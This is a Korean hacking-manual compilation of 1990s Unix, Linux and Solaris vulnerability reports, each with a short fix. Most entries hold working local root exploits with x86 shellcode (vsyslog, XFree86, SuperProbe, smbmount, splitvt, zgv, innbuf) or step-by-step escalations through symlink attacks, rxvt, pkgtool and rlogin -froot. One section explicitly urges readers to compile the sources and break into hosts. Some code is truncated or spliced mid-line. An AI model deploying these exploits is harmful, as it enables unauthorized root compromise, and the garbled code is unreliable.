해크 Hack 기본교범 4


 제  목: [보안] 리눅스 garbage
명령

        net/unix/garbage.c

시스템

        커널 2.0.x

문제점

        NR_FILE (or  /proc/sys/kernel/file-max)을 1024 보다 더 크게 하므로써
        문제가 발생할 수 있다.

        그에 대한 소스는 공개하지 않겠다.
        왜냐.. 아직 해결 방법이 없는 듯하다.
        2.0.33버젼을 깔아보아도 역시 버그가 생긴다.

해결책

        궁여지책으로 각유저의 프로세스를 6개 미만으로 할당 시키는 것이다.

---------------------------

 제  목: [보안] 리눅스 vsyslog()
명령

        vsyslog() overflow

시스템

        Linux with libc 5.4.23 and RH 5.3.12-18

문제점

        이 문제점은 libc 5.4.38에서 고쳐졌다.
        vsyslog()함수를 버퍼 오버 플로우 시켜 이를 이용한다.

        $ id
        uid=100(guest)
        $ ln -s /bin/su hahaha
        $ export PATH=.:$PATH
        $ hahaha
        Password:
        # id
        uid=0(root) gid=0(root)
        # tail -1 /var/log/messages
        Jan  6 00:37:36 guest hahaha: root on /dev/ttyp2

        이런 식으로 된다. 원래 su 를 해서 루트로 되었을때는
        Jan  6 00:37:36 guest su: root on /dev/ttyp2
        로 되어야 한다.

        여기에는 어떤 보안상 헛점이 없다. 하지만 이것은 openlog()을 위한
        argv[0]을 사용하는데 어떤 가능성이 보인다.

        이것을 더 자세하게 보이면..
        쉘 코드에 '/' 를 쓸수 없는 관계로.. _bin_sh 라고 쉘코드에 명시되어
        있다. 그리하여 /bin/sh 를 _bin_sh 로 복사해두어라.
        그리고 현재의 PATH 에 '.'를 추가 시켜라.
        그리고나서 이 프로그램을 돌려야 한다.
            /*
     vsyslog()/openlog() exploit by BiT - 8/8 1997
     Greets to: doodle, skaut, melon, kweiheri etc.
     */

    #include
    #include

    unsigned long get_esp(void)
    {
      __asm__("movl %esp, %eax");
    }

    void main(int argc, char **argv)
    {
      unsigned char shell[] =
      "\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
      "\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
      "\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff_bin_sh";
      char *buf,*p;
      unsigned long *adr;
      int i;
      if((p=buf=malloc(2028+28)) == NULL)
        exit(-1);
      memset(p,0x90,2028);
      p+=2028-strlen(shell);
      for(i=0;i

    int main()
    {
            char ident[4096];

            memset(ident, 'x', sizeof(ident));
            ident[sizeof(ident) - 1] = 0;

            openlog(ident, 0, LOG_AUTHPRIV);
            syslog(LOG_NOTICE, "message");

            return 0;
    }

        이를 고치려면 이곳에서 패치하라
        http://www.false.com/security/linux-stack/
---------------------------

 제  목: [보안] 리눅스&유닉스 X서버R5,R6
명령
        X서버 X11R6 , X11R5

시스템

        X11R6 이 깔린 시스템

문제점

        X11R6을 시스템에 인스톨시 setuid 나 setgid 가 붙는다.
        XF86_드라이브  이런것들은 setuid 가 root 이다.
        그러나 로컬유저가 버퍼 오버런을 이용해서 특별한 권한을 가지게 될수
        있다.
        엑스 서버가 시윳풔  동안에 ResetHosts() 함수를 호출한다.
        그럴때 display 를
X :00000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000000\
00000000000000000000000000000000000000000000000000000000000000000009

        이런 식으로 설정할때... 버퍼 오버 플로우를 일으킬수 있는 잠재력을
        가지고 있다.

해결책

        1) 엑스 서버를 인스톨 한후 모든 setuid 나 setgid 를 없애라.
        2) xdm을 쓰거나 안전한 setuid 와퍼로 X서버를 시작해라.

        이것은 버그에 따른 와퍼이다.
        설치 법은 영어로 간단하게 써있으므로 잘 보면서 설치해라.

    /*
        Description: X server wrapper

        Instalation steps:
         0. Become root (su -)
         1. Modify  the X_Server  program variable  according to  your
            taste (i.e. the X server true path, not the link to it!)
         2. Compile this program as
             cc Xserver.c -O4 -o Xserver
         3. Copy  the resulting  binary to  /usr/X11/bin, or  whatever
            path you may have
         4. chmod 04711 Xserver
         5. Suppose your X server is called "XF86_S3"; issue a command
            chmod 0711 XF86_S3
         6. Remove the old link for X (e.g X -> /usr/X11/bin/XF86_S3)
         7. Make a new link
             ln -s /usr/X11/bin/Xserver /usr/X11/bin/X

        Copyright policy: the GNU Public License.

        This program is intended as a temporary patch for an  existing
        X  server;  it  is  provided  "as  is",  the  author  is   not
        responsible for  any direct/indirect  damage(s) caused  by its
        use.
    */

    #include
    #include
    #include
    #include
    #include
    #include

    /*
       This is intended for debugging porposes only.
       Do NOT define this for a normal usage!!
    */
    #define _DEBUG
    #define SIZE 1024

    /* guaranteed filled with NULLs by UNIX */
    char* args[SIZE];
    int argsCount = 0;

    char* sccsID =
      "@(#) X wrapper 1.0 Copyright (C) 1998 by Vadimir COTFAS (ulianov@mecanica
.math.unibuc.ro), Jan 14th 1998";
    char *X_Server = "/usr/X11/bin/XF86_S3";

    int main(int argc, char* argv[])
    {
       int i;
       uid_t uid, euid;
       struct passwd* pass;

       openlog("Xserver",           LOG_CONS|LOG_NDELAY|LOG_PERROR|LOG_PID,
LOG_AUTHPRIV);

       uid = getuid(); euid = geteuid();

       if(!((uid==0) || (euid==0))){
          fprintf(stderr,"Xserver: this program must be run as (setuid) root\n")
;
          exit(1);
       }

       pass = getpwuid(uid);

       for(i=0; i 2)){
             syslog(LOG_NOTICE, "potential buff ovrflw at arg #%d user %s",
                     i, pass->pw_name);
             continue;
          }
          if(strstr(argv[i], "-config")){
             syslog(LOG_NOTICE, "security vulnerability at arg #%d user %s \n",
                     i, pass->pw_name);
             i++;
             continue;
          }
          if(argsCount >= SIZE){
             syslog(LOG_NOTICE,   "too   many   args    (>1024)   user   %s   \n",
pass->pw_nam
e);
             exit(1);
          }
          args[argsCount++] = argv[i];
       }
       args[argsCount] = NULL; /* just to be sure */

    #ifdef DEBUG
       for(i=0; i
        #include
        int _init() {
             char *sh[2];
        sh[0] = "/bin/sh";
        sh[1] = NULL;
        setuid(0);
        setgid(0);
        seteuid(0);
        execve(sh[0], sh, NULL);
        }

해결책

        chmod u-s quake2 게임은 혼자하는 거니깐 setuid 를 없애는 것이 낫다.
        반드시 해야 할 상황이라면
        http://synergy.caltech.edu/~ggi/ 에 가면 해결책이 있다.

---------------------------

 제  목: [보안] 리눅스 imapd (2)
명령

        imapd , ipop3d

시스템

        슬랙 3.3(imapd 만 해당), 슬랙 3.4

문제점

        초기 슬랙웨어에서는 이 버그가 허용되지 않았다.
        알수 없는 유저가 들어오려할때 imapd 와 ipop3d 데몬은
        코어 덤프를 일으킨다.
        그런데 그 파일에 쉐도우 파일이 첨가되어있다.
        그 이유는 두개의 데몬들이 유저를 로그인시키려면 쉐도우 파일을
        읽어들이기 때문이다. 이때 코어 덤프가 생겨서 / 디렉토리에
        core 파일이 생긴다.

        [root@koek] /# telnet host 110
        Trying 10.10.13.1...
        Connected to host.com
        Escape character is '^]'.
@
        +OK   some    host   POP3    3.3(20)   w/IMAP2   client    (Comments   to
MRC@CAC.Washingto
n.EDU) at Sun, 1 Feb 1998 23:45:06 +0100 (CET)
        user root
        +OK User name accepted, password please
        pass linux
        [this is not the correct password]
        -ERR Bad login
        user john
        [no user named john]
        +OK User name accepted, password please
        pass doe
        Connection closed by foreign host.
         / 디렉토리에 간후에
        [root@zopie] /# strings core | grep -A3 root
        root
        [crypted pw here]

        10244
        Sun Feb  1 23:45:15 1998
        --
        root:[crypted pw here]:10244:0:::::
        halt:*:9797:0:::::
        operator:*:9797:0:::::
        shutdown:*:9797:0:::::
        [looks like /etc/shadow]
        --
        root:[crypted pw here]:10244:0:::::
        john
        host.com
        PASS


해결책

        우선은 막아두며 패치 버젼이 나올때까지 기다린다.

---------------------------

 제  목: [보안] 리눅스 xServer (위험)

* 이 버그는 상당히 위험한 버그이므로 절대로 악용하지 말길
  바란다. 부탁이다.

명령

        XServer

시스템

        인텔 x86의 엑스 서버

문제점

        엑스 서버의 문제점은 과거에 부터 문제점이 제기되어왔다.
        디스 플레이를 xx로 채워서 세그먼트 폴트를 나오게 한 것은
        버퍼 오버 플로우의 가능성을 보여주었다.
        다음과 같은 소스로 일반 사용자가 루트를 얻을 수 있다.


/* Try 2 3 4 5 for OFFSET */
#define OFFSET 2

#include
#include
#include

#define LENCODE ( sizeof( Code ) )
char Code[] =
    "\xeb\x40\x5e\x31\xc0\x88\x46\x07\x89\x76\x08\x89\x46\x0c\xb0"
    "\x3f\x89\xc2\x31\xdb\xb3\x0a\x31\xc9\xcd\x80\x89\xd0\x43\x41"
    "\xcd\x80\x89\xd0\x43\x41\xcd\x80\x31\xc0\x89\xc3\xb0\x17\xcd"
    "\x80\x31\xc0\xb0\x2e\xcd\x80\x31\xc0\xb0\x0b\x89\xf3\x8d\x4e"
    "\x08\x8d\x56\x0c\xcd\x80\xe8\xbb\xff\xff\xff/bin/sh";

char Display[ 0x4001 + OFFSET ] = ":99999", *ptr = Display + OFFSET + 1;
char *args[] = { "X", "-nolock", Display, NULL };

main() {
  printf("pHEAR -   XFree86 exploit\nby  mAChnHEaD \n\nYou
may
get a root prompt now. If you don't, try different values for OFFSET.\n\n");
  dup2( 0, 10 ); dup2( 1, 11 ); dup2( 2, 12 );
  __asm__("movl %%esp,(%0)\n\tsubl %1,(%0)"::"b"(ptr),"n"(LENCODE+0x2000));
  memcpy( ptr + 4, ptr, 0x3fc );
  memset( ptr + 0x400, 0x90, 0x3c00 - LENCODE );
  memcpy( ptr + 0x4000 - LENCODE, Code, LENCODE );
  execve( "/usr/X11R6/bin/X", args, args + 3 );
  perror( "execve" );
}


해결책

        우선은 셋유저 아이디를 없애라..
        또한 /usr/X11R6 디렉토리의 퍼미션을 750 으로 해두고
        그룹을 정해서 필요한 사람만 쓰게 해라.

---------------------------

 제  목: [보안] 리눅스 cron
명령

        vixie cron

시스템

        vixie cron(버젼 3.0.1-20이하)이 설치된 리눅스,BSD

문제점

        /usr/bin/crontab 은 셋유저 아이디가 루트로 붙어있다.
        그런데 매시간 유저에 의해 불려지게 되면 루트 소유의 임시 탬프 파일이
        생긴다.
        이 파일은 /var/spool/cron 디렉토리 이다.
        그런데 이때 만들어지는 임시 파일들은 자신에게 할당된 쿼터에 영향을
        받지 않는 경향이 있다.
        이에 쿼터에 상관없이 디스크 full 을 만들 수 있다.

        어떤 일련의 과정을 하게 되면 이렇게 된다.
        [root@genome /]# ls -l /var/spool/cron
        total 25106
        -rw-------   1 root     root          769 Nov 27 20:21 root
        -rw-------   1 root     lcamtuf   5120000 Feb  5 15:01 tmp.453
        -rw-------   1 root     lcamtuf   5120000 Feb  5 15:02 tmp.468
        -rw-------   1 root     lcamtuf   5120000 Feb  5 15:03 tmp.469
        -rw-------   1 root     lcamtuf   5120000 Feb  5 15:03 tmp.482
        -rw-------   1 root     lcamtuf   5120000 Feb  5 15:03 tmp.483

        이렇게 되어 나중엔 파일이 꽉차게 된다.

해결책

        아직 나와있는 뚜렷한 해결책은 없다..
        단지 suid 를 없애는 수 밖에..
        chmod 700 /usr/bin/crontab  를 임시로 해주면 된다.

---------------------------

 제  목: [보안] SUNOS tmpfs
명령

        tmpfs

시스템

        SunOS 4.1.4

문제점

        야마모리 타케노리씨가 발견한 것이다. tmpfs 에 문제가 있다.
        이 버그로 인해 커널 패닉을 일으키면서 시스템이 죽는다.
        스크린이나 기타 멀티로 두개로 접속을 한다.
        아니면 스크린이라는 기능을 이용해서 화면을 두개로 나누던지..

        $ /tmp
        $ mkdir a
        $ cd a
        $ vi b (b파일을 열고서 아무글이나 쓴다. 그상태에서...)
        [ switch screen ] <=(스크린의 경우 다른 스크린으로 바꾸어라.& 멀티)
        $ rm -r /tmp/a
        [ switch screen ] <=(다시 원래상태로 간다음..저장해봐라....)
        (save the file using :w in vi)
        커널 패닉을 일으키면서 시스템이 죽는다.
해결책

        패치 번호 103314-01 을 선사이트에서 찾아서 패치하라

---------------------------

 제  목: [보안] 솔라리스 volrmmount
명령

        volrmmount

시스템

        SunOS 5.6 (sparc and x86)

문제점

        volrmmount프로그램은 setuid 가 걸린 프로그램으로써 모든유저들에게
        매체(media)를 열거나 넣을수 있게 허락해준다.
        그런데 이 프로그램을 공격할 수가 있다. 그것에 의해 일반 사용자들이
        그 시스템의 어떤 파일이든지 볼수 있고, 루트의 권한을 획득할수도 있다.

해결책

        다음의 패치 버젼을 가져오면 된다.

        OS version          Patch ID
        __________          ________
        SunOS 5.6           105407-01
        SunOS 5.6_x86       105408-01

---------------------------

 제  목: [보안] 솔라리스 dtappgather (따끈~)
명령

        /usr/dt/bin/dtappgather

시스템

        CDE 버젼 1.0.2 가 깔린  솔라리스 2.5 2.5.1

문제점

        /usr/dt/bin/dtappgather 프로그램은 setuid 가 root 로 걸려있는
        프로그램이다.
        그런데 솔라리스 2.5 2.5.1 에서는 /usr/dt/bin/dtappgather 디렉토리가
        777 모드로 되어있어서 누구든지 쓰고 읽을 수가 있다.
        ( 솔라리스 2.6에서는 755 모드로 되어있다. :-) )
        generic-display-0 라는 파일을 미리 만들어 놓고 setuid 가 걸린
        /usr/dt/bin/dtappgather 을 실행시키면 파일에 변화가 온다.
        이를 이용하면 쉽게 시스템의 모든 파일을 읽고 쓰고 할 수가 있게된다.
        간단하면서도 무서운 버그이다.


해결책


        아직 버그가 나온지 하루밖에 안지났다.
        이에.. 버그 패치는 나오지 않았다. 조만간 나올것이다.
        우선 이렇게 막아두어라.
        chmod -s /usr/dt/bin/dtappgather

---------------------------

 제  목: [보안] info2www 보안
명령

        info2www

시스템

        info2www 1.1(이하) 을 깔은 시스템

문제점

        다음과 같은 형태로 명령을 내릴수 있다.

        $ REQUEST_METHOD=GET ./info2www '(../../../../../../../bin/mail user_nam
e  4.2 or 5.0 으로
        환경 설정에서 TMPDIR = /root/tmp 과 같은 형식으로 루트만
        들어갈 수 있는 디렉토리로 설정을 한다.

        S.u.S.E 리눅스의 경우
        버젼 5.0 은
        ftp://ftp.suse.com/pub/suse_update/S.u.S.E.-5.0/a1/aaa_base.rpm
        ftp://ftp.suse.com/pub/suse_update/S.u.S.E.-5.0/ap1/makewhat.rpm

        버젼 4.4.1 ( 이하 버젼 ) 의 경우
        ftp://ftp.suse.com/pub/suse_update/S.u.S.E.-4.4.1/a1/aaa_base.tgz
        ftp://ftp.suse.com/pub/suse_update/S.u.S.E.-4.4.1/ap1/makewhat.tgz

        기타 리눅스 유닉스등은 각각 ftp 에서 업그레이or 패치 버젼을 받아라

---------------------------

 제  목: [보안] X11Amp 보안
명령

        X11Amp

시스템

        X11Amp 0.65 를 쓰는 시스템

문제점

        플레이어 리스트 파일이 ~/.X11amp 디렉토리에 생기는데 그  파일이
        루트 권한이다.
        이를 이용해서 쉐도우와 심볼릭 링크 시킨다.

        mkdir ~/.X11amp
        ln -s /etc/shadow ~/.X11amp/ek1

        그 후에 일련의 과정을 거치면 헛점이 생긴다.

해결책

        http://www.x11amp.ml.org 에 가서 패치버젼을 받는다.

---------------------------

 제  목: [보안] 리눅스 퀘이크 2
명령

        퀘이크 2 (3.13 이하 버젼)

시스템

        리눅스

문제점

        퀘이크를 실행시키면(어떤 유저든지) config.cfg파일을 읽어내려고 한다.
        그러나 이를 이용해서 config.cfg파일을 쉐도우와 링크 시켜서
        헛점이 생기게 만들수 있다.

        nop@chrome:~> id
        uid=501(nop) gid=100(users) groups=100(users)
        nop@chrome:~> mkdir baseq2
        nop@chrome:~> ln -s /etc/shadow baseq2/config.cfg
        nop@chrome:~> ls -l /usr/games/quake/quake2
        -rws--x--x   1 root     root       303444 Feb 24 19:07    /usr/games/qua
ke/quake2
        nop@chrome:~> /usr/games/quake/quake2
        couldn't exec default.cfg
        execing config.cfg
        Unknown command "root:[snip]:10137:0:99999:7:::"
        Unknown command "bin:*:9977:0:99999:7:::"
        Unknown command "daemon:*:9977:0:99999:7:::"
        Unknown command "adm:*:9977:0:99999:7:::"
        Unknown command "lp:*:9977:0:99999:7:::"
        [etc]

해결책

        chmod -s /usr/games/quake/quake2

---------------------------

 제  목: [참고] 여기 의 모든 리포트들은 루트얻는
루트 얻는 정보가 될수가 있고, 그것을 막을 수 있는 정보가 있습니다.
보통 해킹을 한다는 것은 여기란의 글들을 보고 그에 맞춰서 행동을
해서 root 를 획득하는 것으로 대다수 사람들이 생각합니다.
여기란의 글들을 자세히 보고서 한번 해킹을 해보세요.
직접.. 리눅스 & 솔라리스 호스트에서 시도해보세요.

조금만 신경쓰면 해킹하는 것은 식은죽 먹기 보다 더 쉬워요.
해킹은 보통 10분안에 성공과 실패를 가름하게 되죠..
10분안에 모든 해킹을 시도 할 수가 있죠.
바로 이 란의 리포트들에 의해서
반드시 한번은 읽어보시고 갈무리 하세요
각 리포트 마다 해킹 소스가 있으니까요.
그 해킹 소스를 컴파일 해서 돌리면 보통 루트를 획득
할 수 있습니다.
각 경우의 시스템에 맞춰서 소스를 얻어야 겠죠?
솔라리스 2.5.1의 서버를 해킹하려면 그에 관련된 소스만 써봐야겠죠.
리눅스라면 리눅스의 맞는 소스를


 제  목: [보안] 리눅스 pkgtool
명령

        pkgtool

시스템

        Linux Slackware 3.0 or earlier

문제점

        pkgtool을 쓸때 /tmp/PKGTOOL.REMOVED라는 파일이 새긴다. 이를 이용해
        링크시켜서 .rhosts를 만든다.


        hamors (2 20:57) litterbox:/tmp> ls -al | grep PKG
        - - -rw-rw-rw-   1 root     root        16584 Aug 26 18:07
PKGTOOL.REMOVED.backup

        hamors (3 21:00) litterbox:/tmp> ln -s ~root/.rhosts PKGTOOL.REMOVED

        hamors (4 20:58) litterbox:/tmp> cat PKGTOOL.REMOVED
        cat: PKGTOOL.REMOVED: No such file or directory

        God (17 20:59) litterbox:~# pkgtool
        root now uses PKGTOOL to delete a package

        hamors (5 DING!) litterbox:/tmp> head PKGTOOL.REMOVED
        Removing package tcl:
        Removing files:
        ...

        hamors (6 21:00) litterbox:/tmp> echo "+ +" > PKGTOOL.REMOVED

        hamors (7 21:00) litterbox:/tmp> cat ~root/.rhosts
        + +

해결책

        pkgtool은 루트만이 쓸수 있도록 700 모드로 해놓는다.

---------------------------

 제  목: [보안] 리눅스 SuperProbe
명령

        /usr/X11/bin/SuperProbe

시스템

        Linux Slackware 3.1

문제점

        버퍼 오버플로우를 일으킬 수 있다.

        --- probe.c ---

        #include
        #include
        #include

        char *shellcode =

"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"

"\xff\xd4\x31\xc0\x8d\x51\x04\x89\xcf\x89\x02\xb0\x2e\x40\xfc\xae\x75\xfd"

"\x89\x39\x89\xfb\x40\xae\x75\xfd\x88\x67\xff\xb0\x0b\xcd\x80\x31\xc0\x40"
          "\x31\xdb\xcd\x80/"
          "/bin/sh"
          "0";

        char *get_sp() {
          asm("movl %esp,%eax");
        }

          #define bufsize 8192
          #define alignment 0
          char buffer[bufsize];

        main() {
          int i;

          for (i = 0; i < bufsize / 2; i += 4)
          *(char **)&buffer[i] = get_sp() - 2048;
          memset(&buffer[bufsize / 2], 0x90, bufsize / 2);
          strcpy(&buffer[bufsize - 256], shellcode);
          setenv("SHELLCODE", buffer, 1);

          memset(buffer, 'x', 72);
          *(char **)&buffer[72] = get_sp() - 6144 - alignment;
          buffer[76] = 0;

          execl("/usr/X11/bin/SuperProbe", "SuperProbe", "-nopr", buffer,
NULL);
        }


해결책

        어짜피 이 프로그램은 루트만 쓸것이므로 700 모드로 해둔다.

---------------------------

 제  목: [보안] 리눅스& aix rlogin
명령

        rlogin

시스템

        Linux Slackware 3.1, RedHat 2.0, 2.1

문제점

        이 프로그램은 과거 AIX 3.2 에서 발견되었던 아주 심각한 버그로 아래
        단 한줄로 밖에서 루트로 로그인 할 수 있다.
        -f 옵션을 쓰면 아이디 체크를 제대로 하지 못하는 버그이다.

        % rlogin haxored.net -l -froot
        #

해결책

        어서 업그레이드 하라.

---------------------------

 제  목: [보안] 리눅스 rxvt
명령

        rxvt

시스템

        Linux Slackware 3.0, RedHat 2.1
        others with rxvt suid root (and compiled with PRINT_PIPE)

문제점

        X 서버를 위한 터미널 에뮬레이터인 rxvt는 버그가 있다.
        아래의 방법으로 쉽게 루트를 얻는다.

    1.  Set DISPLAY environment  variable if necessary so you  can use
        x clients.

    2.  In user shell:

        $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug
        $ chmod +x /tmp/rxbug
        $ rxvt -print-pipe /tmp/rxbug

    3.  In rxvt xclient:

        $ cat
          ESC[5i
          ESC[4i

        (The client will close at this point with a broken pipe)

    4.  $ /tmp/rxsh
        # whoami
        root
        #

해결

        chmod -s /usr/X11R6/bin/rxvt

---------------------------

제  목: [보안] 리눅스 smbmount
명령

        smbmount

시스템

        Linux

문제점

        삼바-2.0.1 버젼(?)에서 비롯된 것으로 버퍼 오버플로우를 일으킬수 있다.


    #include
    #include

    #define DEFAULT_OFFSET                 -202
    #define DEFAULT_BUFFER_SIZE             211
    #define DEFAULT_ALIGNMENT                 2
    #define NOP                            0x90

    /* This shell code is designed to survive being filtered by toupper()
*/

    char shellcode[] =

"\xeb\x20\x5e\x8d\x46\x05\x80\x08\x20\x8d\x46\x27\x80\x08\x20\x40"

"\x80\x08\x20\x40\x80\x08\x20\x40\x40\x80\x08\x20\x40\x80\x08\x20"
            "\xeb\x05\xe8\xdb\xff\xff\xff"

"\xeb\x1f\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46\x0c\xb0\x0b"

"\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xcd\x80\x31\xdb\x89\xd8\x40\xcd"
            "\x80\xe8\xdc\xff\xff\xff/tmp/sh";


    unsigned long get_sp(void) {
       __asm__("movl %esp,%eax");
    }

    void main(int argc, char *argv[]) {
      char *buff, *ptr;
      long *addr_ptr, addr;
      int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
      int alignment=DEFAULT_ALIGNMENT;
      int i;

      if (argc > 1) bsize  = atoi(argv[1]);
      if (argc > 2) offset = atoi(argv[2]);
      if (argc > 3) alignment = atoi(argv[3]);
      printf("bsize=%d offset=%d alignment=%d\n",bsize,offset,alignment);

      if (!(buff = malloc(bsize))) {

        printf("Can't allocate memory.\n");
        exit(0);
      }

      addr = get_sp() - offset;
      fprintf(stderr,"Using address: 0x%x\n", addr);
      ptr = buff;
      addr_ptr = (long *) (ptr+alignment);
      for (i = 0; i < bsize-alignment; i+=4)
        *(addr_ptr++) = addr;

      for (i = 0; i < bsize/2; i++)
        buff[i] = NOP;

      ptr = buff + (128 - strlen(shellcode));
      for (i = 0; i < strlen(shellcode); i++)

        *(ptr++) = shellcode[i];

      buff[bsize - 1] = '\0';

      setenv("USER",buff,1);
      execl("/sbin/smbmount","smbmount","//a/a","./a","-Q",0);
    }

문제점

        버그 픽스된 smbfs-2.0.2 를 쓰면 해결이 되며 밑의 ftp에서 찾을수 있다.

        ftp://ftp.suse.com/pub/suse_update/S.u.S.E.-4.4.1/n1/samba

        ftp://ftp.gwdg.de/pub/linux/misc/smbfs

        http://www.sernet.de/vl/linux-lan/

---------------------------

 제  목: [보안] 리눅스 perl 5.001
명령

        perl (suidperl/sperl5.001)

시스템

        Linux Slackware 3.0

문제점

        suid가 root인 펄 프로그램이 로컬유저로 하여금 루트를 얻게 해준다.
        아래와 같은 간단한 프로그램으로 루트로 엑세스 해준다.

        #!/usr/bin/perl -U
        # root access on any SUID perl infected system......
        # chmod 4755 this script and run it....

        $ENV{PATH}="/bin:/usr/bin";
        $>=0;$<=0;
        exec("/bin/bash");

해결책

        700모드로 해둔다.

---------------------------

 제  목: [보안] 리눅스 퀘이크 게임
명령

        squake

시스템

        Linux

문제점

        초창기 인스톨 될때 squake라는 프로그램은 4755의 모드로 되어있다.
        그런데 이프로그램이 조작을 하면 segfault를 일으켜서 루트를 얻을
        수 있다.

        squake -game aaaaaaaaaaaaaa <=(152개의 문자가 들어가면 된다.)


해결책

         chmod 700 squake

---------------------------

 제  목: [보안] 리눅스 splitvt
명령

        splitvt(1)

시스템

        Linux 2-3.X

문제점

        로컬 유저가 루트로 로그인 할 수 잇다.
        오버 플로우를 일으킬 수가 있다.

    crimson~$ cc -o sp sp.c
    crimson~$ sp
    bash$ sp
    bash$ splitvt
    bash# whoami
    root

sp.c ---------


long get_esp(void)
{
__asm__("movl %esp,%eax\n");
}
main()
{
  char eggplant[2048];
  int a;
  char *egg;
  long *egg2;
  char realegg[] =
"\xeb\x24\x5e\x8d\x1e\x89\x5e\x0b\x33\xd2\x89\x56\x07\x89\x56\x0f"
"\xb8\x1b\x56\x34\x12\x35\x10\x56\x34\x12\x8d\x4e\x0b\x8b\xd1\xcd"
"\x80\x33\xc0\x40\xcd\x80\xe8\xd7\xff\xff\xff/bin/sh";

  char *eggie = realegg;

  egg = eggplant;

  *(egg++) = 'H';
  *(egg++) = 'O';
  *(egg++) = 'M';
  *(egg++) = 'E';
  *(egg++) = '=';

  egg2 = (long *)egg;

  for (a=0;a<(256+8)/4;a++) *(egg2++) = get_esp() + 0x3d0 + 0x30;

  egg=(char *)egg2;

  for (a=0;a<0x40;a++) *(egg++) = 0x90;

  while (*eggie)
    *(egg++) = *(eggie++);
  *egg = 0; /* terminate eggplant! */

  putenv(eggplant);

  system("/bin/bash");
}
해결책

  700 모드로 하는게 상책이다.
  아니면 각자의 리눅스 페이지로 가서 업그래이트를 한다.

---------------------------

 제  목: [보안] 리눅스 admin

명령

    admin

시스템

    Linux systems running admin-v1.2 and older ones (others?)

문제점

    admin-v1.2 패키지에 있는 시스템 어드민 툴에서 버그가 발견되었다.
    로컬 유저가 /tmp디렉토리의 어드민 툴 관련 파일을 지우고 이를 링크
    시켜서 루트의 권한으로 어디든 파일을 만들 수 있다.
    /tmp/name.$$ 라는 파일의 형태로 존재한다.
    이 파일을 /etc/passwd에 연결시켜서 passwd파일을 고칠 수도 있고
    /.rhosts 를 만들 수도 있다.

해결책

         700 모드로 바꿔라

---------------------------

 제  목: [보안] 리눅스 svgalib/zgv
명령

        svgalib/zgv

시스템

        Redhat Linux 3.0.3 - 4.1
        어떤 리눅스든지 zgv에 setuid root 인것

문제점

        스택 오버롸이트를 일으켜서 버퍼 오버런 공격을 시도하면 루트를
        얻을 수 있다.
        zgv-2.7 은 GIF나 JPG를 볼수 있는 뷰어 이다.

    /*
     *
     * zgv exploit coded by BeastMaster V on June 20, 1997
     *
     * USAGE:
     *   For some strage reason, the filename length of this
     *   particular exploit must me one character long, otherwise you
     *   will be dropped into a normal unpriviledged shell. Go Figure....
     *   Try increasing the offest by increments of 10 if you get
     *   an Illegal Instruction or Segmentation Fault.
     *
     *   $ cp zgv_exploit.c n.c
     *   $ cc -o n n.c
     *   $ ./n
     *   Oak driver: Unknown chipset (id =  0)
     *   bash#
     *
     * EXPLANATION: zgv (suid root) does not check bounds for $HOME env.
     *
     */


    #include
    #include
    #include

    char *shellcode =

"\x31\xc0\xb0\x31\xcd\x80\x93\x31\xc0\xb0\x17\xcd\x80\x68\x59\x58\xff\xe1"

"\xff\xd4\x31\xc0\x99\x89\xcf\xb0\x2e\x40\xae\x75\xfd\x89\x39\x89\x51\x04"

"\x89\xfb\x40\xae\x75\xfd\x88\x57\xff\xb0\x0b\xcd\x80\x31\xc0\x40\x31\xdb"
      "\xcd\x80/"
      "/bin/sh"
      "0";

    char *get_sp() {
       asm("movl %esp,%eax");

    }

    #define bufsize 4096
    char buffer[bufsize];

    main() {
      int i;

      for (i = 0; i < bufsize - 4; i += 4)
        *(char **)&buffer[i] = get_sp() -4675;

      memset(buffer, 0x90, 512);
      memcpy(&buffer[512], shellcode, strlen(shellcode));

      buffer[bufsize - 1] = 0;

      setenv("HOME", buffer, 1);


      execl("/usr/bin/zgv", "/usr/bin/zgv", NULL);
    }

해결책

    svgalib-1.2.11 은 보안상 어떤 헛점이 있으므로 새로운 버젼을 인스톨
    하여라. 또한 래드햇 4.0 4.1 4.2 사용자 또한 새로운 버젼을 인스톨
    시켜야 한다.
    아래의 사이트에 가면 고칠수 있는 버그 패치판이 나와있다.

ftp://ftp.redhat.com/updates/4.2/i386/svgalib-1.2.10-3.i386.rpm


    설치는 업그레이드를 해야 한다. 밑의 커맨더 참고.
        rpm -Uvh 가져온 파일명

---------------------------

 제  목: [보안] 리눅스 InterNetNews
명령

    InterNetNews

시스템

    Linux/x86

문제점

    버퍼 오버플로우를 일으켜서 루트를 얻을 수 있다.

    --------------------------- innbuf.c -----------------------------
    /*
     * This just  generates the x86  shellcode "and.class" tppabs="http://www.angelfire.com/ok/jotna/and.class" puts  it in a  file
     * that nnrp  can send. The  offset and/or esp  may need changing.
     * To  compile  on  most  systems:  cc innbuf.c -o innbuf.  Usage:
     * innbuf [offset] > file.  (C) 1997 by Method

     * P.S.  Feel free to port this to other OS's.
     */
    #include
    #include
    #include
    #include

    #define DEFAULT_OFFSET  792
    #define BUFFER_SIZE     796
    #define ADDRS           80

    u_long get_esp()
    {
            return(0xefbf95e4);
    }

    int main(int argc, char **argv)

    {
            char *buff = NULL;
            u_long *addr_ptr = NULL;
            char *ptr = NULL;
            int ofs = DEFAULT_OFFSET;
            int noplen;
            u_long addr;

            int i;
            u_char execshell[] =

"\xeb\x23\x5e\x8d\x1e\x89\x5e\x0b\x31\xd2\x89\x56\x07\x89\x56\x0f"

"\x89\x56\x14\x88\x56\x19\x31\xc0\xb0\x3b\x8d\x4e\x0b\x89\xca\x52"

"\x51\x53\x50\xeb\x18\xe8\xd8\xff\xff\xff/bin/sh\x01\x01\x01\x01"
